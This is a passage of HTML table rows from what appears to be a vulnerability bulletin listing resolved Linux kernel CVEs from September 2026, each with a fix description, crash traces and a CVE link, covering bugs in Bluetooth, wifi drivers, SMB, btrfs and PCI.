&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: RFCOMM: validate skb length in rfcomm_recv_frame rfcomm_recv_frame() casts skb-&amp;gt;data to struct rfcomm_hdr and dereferences hdr-&amp;gt;addr and hdr-&amp;gt;ctrl without validating skb-&amp;gt;len first. A truncated frame with skb-&amp;gt;len less than the minimum header size causes an out-of-bounds read of uninitialized memory. Additionally, a zero-length frame causes skb-&amp;gt;len-- to underflow to UINT_MAX, making skb_tail_pointer() read far past the buffer. Commit 23882b828c3c (&quot;Bluetooth: RFCOMM: validate skb length in MCC handlers&quot;) fixed the same class of missing-length-check bugs in the MCC sub-handlers, but the top-level rfcomm_recv_frame() was left unfixed. KMSAN reports: BUG: KMSAN: uninit-value in rfcomm_run ... Uninit was created at: __alloc_skb+0x474/0xb60 vhci_write+0xe9/0x870 Fix this by rejecting frames smaller than sizeof(struct rfcomm_hdr) + 1 (the minimum frame must have a 3-byte header and a 1-byte FCS).&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93783&quot; target=&quot;_blank&quot;&gt;CVE-2026-93783&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: validate IEs in cfg80211_wext_siwgenie() The KASAN allocation trace shows that a malformed IE buffer is stored via SIOCSIWGENIE (cfg80211_wext_siwgenie()) without any validation. The crash trace shows that a subsequent SIOCSIWESSID triggers a connection attempt which calls cfg80211_sme_get_conn_ies() to process the stored IE buffer, causing: - An out-of-bounds read in skip_ie() which reads ies[pos+1] (the length byte) past the end of the 1-byte buffer. - An integer underflow in the memcpy size argument when offs returned by ieee80211_ie_split() exceeds ies_len, causing unsigned subtraction to wrap to SIZE_MAX and triggering a fortify panic. Fix this by validating the IE buffer in cfg80211_wext_siwgenie() before storing it. [drop unnecessary ie_len check, update commit message]&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93784&quot; target=&quot;_blank&quot;&gt;CVE-2026-93784&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cifs: validate idmap key payload length The cifs.idmap key type stores its payload length in key-&amp;gt;datalen, which is limited to U16_MAX. Accepting a larger key payload truncates the recorded length and can make later users interpret the payload using inconsistent bounds. Reject oversized preparsed payloads before allocating or copying them. This keeps key-&amp;gt;datalen consistent with the stored data for both inline and separately allocated idmap payloads.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93785&quot; target=&quot;_blank&quot;&gt;CVE-2026-93785&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: acpi: validate WGDS table revision index Check tbl_rev bounds before BIT(tbl_rev) to avoid undefined shifts when firmware reports an invalid revision value.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93788&quot; target=&quot;_blank&quot;&gt;CVE-2026-93788&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: bound aligned TLV advance in FW parser Validate ALIGN(tlv_len, 4) against remaining parser length before consuming bytes from the firmware image. This avoids length underflow on malformed TLVs.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93789&quot; target=&quot;_blank&quot;&gt;CVE-2026-93789&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: mvm: add a check on the tid coming from the firmware ba_notif-&amp;gt;tid is a firmware-controlled u8 that is used directly as an array index into tid_data[] without any validation. Add a bounds check against IWL_MAX_TID_COUNT before dereferencing the array.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93791&quot; target=&quot;_blank&quot;&gt;CVE-2026-93791&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: mvm: fix a possible underflow We shouldn&#039;t trust the firmware about the length of the wowlan packet.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93792&quot; target=&quot;_blank&quot;&gt;CVE-2026-93792&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb/client: flush dirty data before punching a hole Punching a hole after a large buffered write may leave the range reported as data. Reproduce it with: xfs_io -f \ -c &quot;pwrite -b 3m -S 0x61 0 3m&quot; \ -c &quot;fpunch 1m 1m&quot; \ -c &quot;seek -h 0&quot; \ -c &quot;seek -d 1m&quot; \ /mnt/test/repro Punching 1 MiB at offset 1 MiB should produce: 0 1 MiB 2 MiB 3 MiB | DATA | HOLE | DATA | EOF Instead, the entire file is reported as data. SEEK_HOLE(0) returns EOF, and SEEK_DATA(1M) returns 1M. This happens because a dirty folio spanning the punched range can be written back after the punch and refill the hole. Fix this by flushing and waiting for dirty data in the punched range before invalidating the page cache and issuing FSCTL_SET_ZERO_DATA. The xfstests generic/539 pass against Samba/ksmbd with this change.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93794&quot; target=&quot;_blank&quot;&gt;CVE-2026-93794&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: blk-cgroup: fix leaks and online flag on radix_tree_insert failure When radix_tree_insert() fails in blkg_create(), the error path has two issues: 1. blkg-&amp;gt;online is set to true unconditionally, even when the blkg was never fully inserted. Move the assignment inside the success block. 2. The error path calls blkg_put() without first calling percpu_ref_kill(). Because the refcount is still in percpu mode, percpu_ref_put() only does this_cpu_sub() without checking for zero, so blkg_release() is never triggered. This permanently leaks the blkg memory, its percpu iostat, policy data, the parent blkg reference, and the cgroup css reference - the latter preventing the cgroup from ever being destroyed. Fix by replacing blkg_put() with percpu_ref_kill(), matching the pattern used in blkg_destroy().&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93795&quot; target=&quot;_blank&quot;&gt;CVE-2026-93795&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: mvm: fix an off-by-1 boundary check Before looking at the 11th byte, check the length is big enough.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93797&quot; target=&quot;_blank&quot;&gt;CVE-2026-93797&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: fix use-after-free on reloc root after error in insert_dirty_subvol() If during relocation we fail in insert_dirty_subvol() because btrfs_update_reloc_root() returned an error, we will leave a root&#039;s reloc_root field pointing to a reloc root that was freed instead of NULL, resulting later in a use-after-free, or double free attempt during unmount. The sequence of steps is this: 1) During relocation the call to btrfs_update_reloc_root() in insert_dirty_subvol() fails, so insert_dirty_subvol() returns the error to merge_reloc_root() without adding the root to the list rc-&amp;gt;dirty_subvol_roots; 2) Then merge_reloc_root() aborts the current transaction because insert_dirty_subvol() returned an error; 3) Up the call chain, merge_reloc_roots() gets the error, adds the reloc root for root X to the local reloc_roots list and jumps to the &#039;out&#039; label, where it calls free_reloc_roots() to free all the reloc roots in the local reloc_roots list. This frees the reloc root for root X; 4) We go up the call chain to relocate_block_group() which calls clean_dirty_subvols() to go over dirty roots and set their -&amp;gt;reloc_root field to NULL, but root X is not in the dirty_subvol_roots list, so its -&amp;gt;reloc_root still points to a reloc root; 5) Relocation finishes, with an error and a transaction abort, but the -&amp;gt;reloc_root field for root X still points to the reloc root that was freed in step 3; 6) When unmounting the fs we end up calling: btrfs_free_fs_roots() btrfs_drop_and_free_fs_root() --&amp;gt; calls btrfs_put_root() against root X&#039;s -&amp;gt;reloc_root which is not NULL and points to the already freed reloc root in step 4 above Resulting in a use-after-free to a double free attempt. Syzbot reported this with the following dmesg/syslog: [ 106.004389][ T5339] BTRFS error (device loop0 state A): Transaction aborted (error -5) [ 106.014266][ T5339] BTRFS: error (device loop0 state A) in merge_reloc_root:1655: errno=-5 IO failure [ 106.021891][ T1061] BTRFS error (device loop0 state A): error while writing out transaction: -5 [ 106.026964][ T1061] BTRFS warning (device loop0 state A): Skipping commit of aborted transaction. [ 106.033807][ T5340] BTRFS error (device loop0 state A): bdev /dev/loop0 errs: wr 3, rd 0, flush 0, corrupt 0, gen 0 [ 106.039265][ T1061] BTRFS: error (device loop0 state A) in cleanup_transaction:2067: errno=-5 IO failure [ 106.044382][ T5339] BTRFS info (device loop0 state EA): forced readonly [ 106.074329][ T5339] BTRFS: error (device loop0 state EA) in merge_reloc_roots:1887: errno=-5 IO failure [ 106.081004][ T5356] BTRFS info (device loop0 state EA): scrub: started on devid 1 [ 106.085611][ T5339] BTRFS info (device loop0 state EA): balance: ended with status: -30 [ 106.089517][ T5356] BTRFS info (device loop0 state EA): scrub: not finished on devid 1 with status: -30 [ 106.662365][ T5338] BTRFS info (device loop0 state EA): last unmount of filesystem 3a375e4e-b156-4d76-a2ad-16e198ce1409 [ 106.682946][ T5338] ================================================================== [ 106.686574][ T5338] BUG: KASAN: slab-use-after-free in btrfs_put_root+0x2f/0x250 [ 106.690090][ T5338] Write of size 4 at addr ffff88803f978630 by task syz.0.0/5338 [ 106.693173][ T5338] [ 106.694279][ T5338] CPU: 0 UID: 0 PID: 5338 Comm: syz.0.0 Not tainted syzkaller #0 PREEMPT(full) [ 106.694293][ T5338] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 106.694300][ T5338] Call Trace: [ 106.694308][ T5338] &amp;lt;TASK&amp;gt; [ 106.694314][ T5338] dump_stack_lvl+0xe8/0x150 [ 106.694331][ T5338] print_address_description+0x55/0x1e0 [ 106.694343][ T5338] ? btrfs_put_root+0x2f/0x250 [ 106.694358][ T5338] print_report+0x58/0x70 [ 106. ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93800&quot; target=&quot;_blank&quot;&gt;CVE-2026-93800&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: rsi: validate beacon length before fixed buffer copy rsi_prepare_beacon() copies the mac80211 beacon frame after FRAME_DESC_SZ into a management skb whose usable tailroom may be smaller than MAX_MGMT_PKT_SIZE after alignment. Validate the beacon length against the actual tailroom before the copy and skb_put(). Leave ownership of the management skb with the caller on error, matching the existing rsi_send_beacon() cleanup path.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93802&quot; target=&quot;_blank&quot;&gt;CVE-2026-93802&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: libipw: fix key index receive bound checks libipw_rx() reads skb-&amp;gt;data[hdrlen + 3] to extract the WEP key index in both the software-decrypt key selection path and the hardware-decrypted IV/ICV strip path. In both places the existing guard only checks skb-&amp;gt;len &amp;gt;= hdrlen + 3, which proves bytes up to hdrlen + 2 but not the byte at hdrlen + 3. Require hdrlen + 4 bytes before reading that item in both paths. This is a local source-boundary check only; it does not change the key index semantics.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93803&quot; target=&quot;_blank&quot;&gt;CVE-2026-93803&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: ibss: wait for in-flight TX on disconnect While leaving an IBSS in ieee80211_ibss_disconnect() mac80211 flushes stations, turns the carrier off and immediately tells the driver to leave as well. While there may be synchronize_net() in station flush and in this code later, packets can still be transmitted due to cross-CPU race conditions after carrier off is set. Therefore, it&#039;s possible for a race to happen where a TX to the driver occurs while or after telling it to leave the IBSS. This can be confusing to drivers, and in the case of iwlwifi leads to an attempt to use invalid queues. Move netif_carrier_off() to occur before sta_info_flush() during IBSS disconnect, and add synchronize_net() if flushing didn&#039;t, so that the synchronize_net() always happens between turning the carrier off and telling the driver, avoiding this race.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93804&quot; target=&quot;_blank&quot;&gt;CVE-2026-93804&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: validate rx/tx MLME callback frame lengths before access cfg80211_rx_mlme_mgmt() and cfg80211_tx_mlme_mgmt() call tracepoints before rejecting frames shorter than the frame-control field. After that, they only require len &amp;gt;= 2 before dispatching into subtype handlers that assume their fixed fields are present. The frames that trip this are not shorter than 2 bytes; they are short relative to their subtype. mwifiex is a concrete in-tree example on the length side: mwifiex_process_mgmt_packet() only requires a 4-address ieee80211_hdr plus the 2-byte firmware length prefix before handing the frame to cfg80211_rx_mlme_mgmt(). After stripping the length prefix and removing addr4, pkt_len can be exactly 24: a bare 3-address management header with no reason-code body. The existing WARN_ON(len &amp;lt; 2) does not fire on such a frame, and cfg80211_process_deauth() then reads u.deauth.reason_code as a two-byte access starting at offset 24, immediately past the 24-byte buffer. Add a frame-control length gate, then validate each subtype&#039;s minimum frame size in an if/else-if chain that mirrors the dispatch logic. Trace only after the frame is known to be well-formed. Side effects of this change: - The WARN_ON(len &amp;lt; 2) is dropped. It only guarded the frame_control read, never the subtype fixed fields, and it does not fire on the frames that actually trigger the out-of-bounds read (which are &amp;gt;= 2). The len &amp;gt;= 2 check is kept as the guard before dereferencing frame_control, but without the warning: these are exported callbacks and a malformed frame from a driver should be dropped silently rather than backtraced. - cfg80211_tx_mlme_mgmt() previously routed every non-deauth subtype through disassociation handling; it now silently ignores unrecognised subtypes.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93805&quot; target=&quot;_blank&quot;&gt;CVE-2026-93805&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: rsi: avoid reading TKIP MIC keys for non-TKIP ciphers rsi_hal_load_key() copies tx_mic_key and rx_mic_key from data[16] and data[24] whenever key data is present. Those offsets are only part of the 32-byte TKIP key layout. Shorter keys used by other ciphers, such as CCMP, do not provide those bytes, so the unconditional copies can read past the supplied key buffer. Only copy the MIC keys for TKIP, and reject malformed TKIP keys that are shorter than the expected 32-byte layout. [drop useless length check]&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93807&quot; target=&quot;_blank&quot;&gt;CVE-2026-93807&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: caiaq: validate EP1 reply lengths usb_ep1_command_reply_dispatch() uses buf[0] as a command byte and then reads command-specific fixed items from the same URB buffer. Several paths use buf + 1, buf[1], buf[2], or buf + 3 without first proving that urb-&amp;gt;actual_length contains those bytes. Add per-command length checks, use a payload length derived from the bytes after the command byte for the control-state copy, and reject short analog input payloads before the input helper reads fixed offsets from the EP1 reply.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93808&quot; target=&quot;_blank&quot;&gt;CVE-2026-93808&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: flush pending RCU callbacks on module unload Call rcu_barrier() in module exit to wait for outstanding call_rcu() callbacks before freeing module text, preventing late callback execution in freed memory. BUG: unable to handle page fault for address: ffffffffc1d59c40 PGD 6a12067 P4D 6a12067 PUD 6a14067 PMD 13698b067 PTE 0 Oops: 0010 [#1] SMP NOPTI RIP: 0010:0xffffffffc1d59c40 Code: Unable to access opcode bytes at RIP 0xffffffffc1d59c16. RSP: 0018:ffffc900198c0f28 EFLAGS: 00010286 RAX: ffffffffc1d59c40 RBX: ffff897c7d6b61c0 RCX: ffff88826aff4590 RDX: ffff8884d8b35490 RSI: ffffc900198c0f30 RDI: ffff88812af67290 RBP: 000000000000000a (DONE segment entries) R08: 0000000000000000 R09: 0000000000000100 R10: 0000000000000000 R11: ffffffff82a06100 R12: ffff88811a4e3700 R13: 0000000000000000 R14: ffff897c7d6b6270 R15: 0000000000000000 FS: 0000000000000000(0000) GS:ffff897c7d680000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffffffffc1d59c16 CR3: 00000104a980a001 CR4: 0000000002770ee0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe07f0 DR7: 0000000000000400 PKRU: 55555554 Call Trace: &amp;lt;IRQ&amp;gt; ? rcu_do_batch+0x163/0x450 ? rcu_core+0x177/0x1c0 ? __do_softirq+0xc1/0x280 ? asm_call_irq_on_stack+0xf/0x20 &amp;lt;/IRQ&amp;gt; ? do_softirq_own_stack+0x37/0x50 ? irq_exit_rcu+0xc4/0x100 ? sysvec_apic_timer_interrupt+0x36/0x80 ? asm_sysvec_apic_timer_interrupt+0x12/0x20 ? cpuidle_enter_state+0xd4/0x360 ? cpuidle_enter+0x29/0x40 ? cpuidle_idle_call+0x108/0x1a0 ? do_idle+0x77/0xf0 ? cpu_startup_entry+0x19/0x20 ? secondary_startup_64_no_verify+0xbf/0xcb (cherry picked from commit feaa5039f6c12acc9aa934c2d45dcd251a12c69f)&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93809&quot; target=&quot;_blank&quot;&gt;CVE-2026-93809&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: Fix acl.sd_buf memory leak and invalid sd_size error handling 1. When ndr_decode_v4_ntacl() fails, the code jumped to free_n_data which only freed n.data, skipping kfree(acl.sd_buf) and leaking the buffer. Zero-initialize struct xattr_ntacl acl, reorder error labels to out_free to release acl.sd_buf on all error paths. 2. if (acl.sd_size &amp;lt; sizeof(struct smb_ntsd)) is true, original code returned success without freeing sd_buf and left stale *pntsd. Set rc = -EINVAL before jumping to out_free to return error code and free buffer.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93811&quot; target=&quot;_blank&quot;&gt;CVE-2026-93811&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix sd_ndr.data memory leak in ksmbd_vfs_set_sd_xattr ndr_encode_v4_ntacl() allocates sd_ndr.data via kzalloc() at entry. If any subsequent ndr_write_*() call returns error during encoding, the allocated sd_ndr.data won&#039;t be freed and causes memory leak. Move kfree(sd_ndr.data) into out label to ensure the buffer gets released on all success and error return paths.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93812&quot; target=&quot;_blank&quot;&gt;CVE-2026-93812&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: spi: core: Abort active target transfer on controller suspend When an SPI controller operating in target mode has a transfer in progress at the time of system suspend, the suspend path proceeds without aborting the ongoing transfer. This can leave the hardware in an inconsistent state, potentially causing the system to hang or fail to resume cleanly. Fix this by invoking the controller&#039;s target_abort callback from spi_controller_suspend() when the controller is in target mode and the callback is registered. This ensures any active target transfer is cleanly terminated before the controller is suspended.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93814&quot; target=&quot;_blank&quot;&gt;CVE-2026-93814&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: au1000: move free_irq out of the close-time spinlocked section au1000_close() calls free_irq() while aup-&amp;gt;lock is still held with spin_lock_irqsave(). free_irq() can sleep because it takes the IRQ descriptor request mutex, so it does not belong inside the close-time spinlocked section. This was found by our static analysis tool and then confirmed by manual review of the in-tree au1000_close() .ndo_stop path. The reviewed path keeps aup-&amp;gt;lock held across the MAC reset, queue stop and free_irq(dev-&amp;gt;irq, dev). A directed runtime validation kept that ndo_stop carrier and the same free_irq(dev-&amp;gt;irq, dev) operation under the driver lock. Lockdep reported &quot;BUG: sleeping function called from invalid context&quot; and &quot;Invalid wait context&quot; while free_irq() was taking desc-&amp;gt;request_mutex, with au1000_close() and free_irq() on the stack. Drop aup-&amp;gt;lock before freeing the IRQ. The protected close-time work still stops the device and queue before IRQ teardown, but the sleepable IRQ core path now runs outside the spinlocked section.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93815&quot; target=&quot;_blank&quot;&gt;CVE-2026-93815&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: PCI: plda: Protect root bus removal with rescan lock Hold the pci_rescan_remove_lock lock while stopping and removing a root bus to avoid racing with concurrent rescan or hotplug operations triggered via sysfs. Such races may lead to use-after-free issues or system crashes. [bhelgaas: commit log]&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93818&quot; target=&quot;_blank&quot;&gt;CVE-2026-93818&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: PCI: mediatek: Protect root bus removal with rescan lock Hold the pci_rescan_remove_lock lock while stopping and removing a root bus to avoid racing with concurrent rescan or hotplug operations triggered via sysfs. Such races may lead to use-after-free issues or system crashes. [bhelgaas: commit log]&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93819&quot; target=&quot;_blank&quot;&gt;CVE-2026-93819&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: PCI: rockchip: Protect root bus removal with rescan lock Hold the pci_rescan_remove_lock lock while stopping and removing a root bus to avoid racing with concurrent rescan or hotplug operations triggered via sysfs. Such races may lead to use-after-free issues or system crashes. [bhelgaas: commit log]&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93820&quot; target=&quot;_blank&quot;&gt;CVE-2026-93820&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: PCI: altera: Protect root bus removal with rescan lock Hold the pci_rescan_remove_lock lock while stopping and removing a root bus to avoid racing with concurrent rescan or hotplug operations triggered via sysfs. Such races may lead to use-after-free issues or system crashes. [bhelgaas: commit log]&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93821&quot; target=&quot;_blank&quot;&gt;CVE-2026-93821&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: PCI: iproc: Protect root bus removal with rescan lock Hold the pci_rescan_remove_lock lock while stopping and removing a root bus to avoid racing with concurrent rescan or hotplug operations triggered via sysfs. Such races may lead to use-after-free issues or system crashes. [bhelgaas: commit log]&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93822&quot; target=&quot;_blank&quot;&gt;CVE-2026-93822&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
